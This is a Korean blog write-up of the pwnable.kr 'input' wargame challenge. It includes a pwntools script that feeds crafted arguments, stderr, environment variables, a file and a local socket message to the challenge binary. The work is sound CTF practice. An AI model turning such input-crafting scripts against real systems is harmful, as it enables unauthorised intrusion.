pwntools 사용법을 알려주기 위해 만든 문제 같다.
특별한 것 없이 코드에서 원하는 대로 프로그램에 입력을 해주면 된다.
입력방법을 찾아보느라 오래걸렸다.
기본 디렉토리에서는 파일을 생성할 수 없으므로
안보이지만 존재하는 tmp 폴더로 들어가 자신의 폴더를 만들고
거기에 flag와 elf파일을 복사해서 작업해야한다.
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import * #setting argvs for stage 1 argvs = [str(i) for i in range(100)] argvs[ord('A')] = "\x00" argvs[ord('B')] = "\x20\x0a\x0d" argvs[ord('C')] = "2000" #stderr for stage 2 stderr_f = open("stderr",'a') stderr_f.write("\x00\x0a\x02\xff") #environ for stage 3 env_dic = {"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"} #file for stage 4 fp = open("\x0a",'a') fp.write("\x00\x00\x00\x00") p = process(executable="/home/input2/input",argv=argvs, stderr=open("stderr"), env=env_dic) print p.recv(2222) p.sendline("\x00\x0a\x00\xff") #socket for stage 5 sock = remote("127.0.0.1",2000) sock.sendline("\xde\xad\xbe\xef") print p.recv(2222) print p.recv(2222) print p.recv(2222) stderr_f.close() fp.close() | cs |
'정보보안 > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] mistake (0) | 2018.11.08 |
---|---|
[pwnable.kr] leg (0) | 2018.11.08 |
[pwnable.kr] random (0) | 2018.11.08 |
[pwnable.kr] passcode (0) | 2018.11.08 |
[pwnable.kr] echo1 (0) | 2018.11.05 |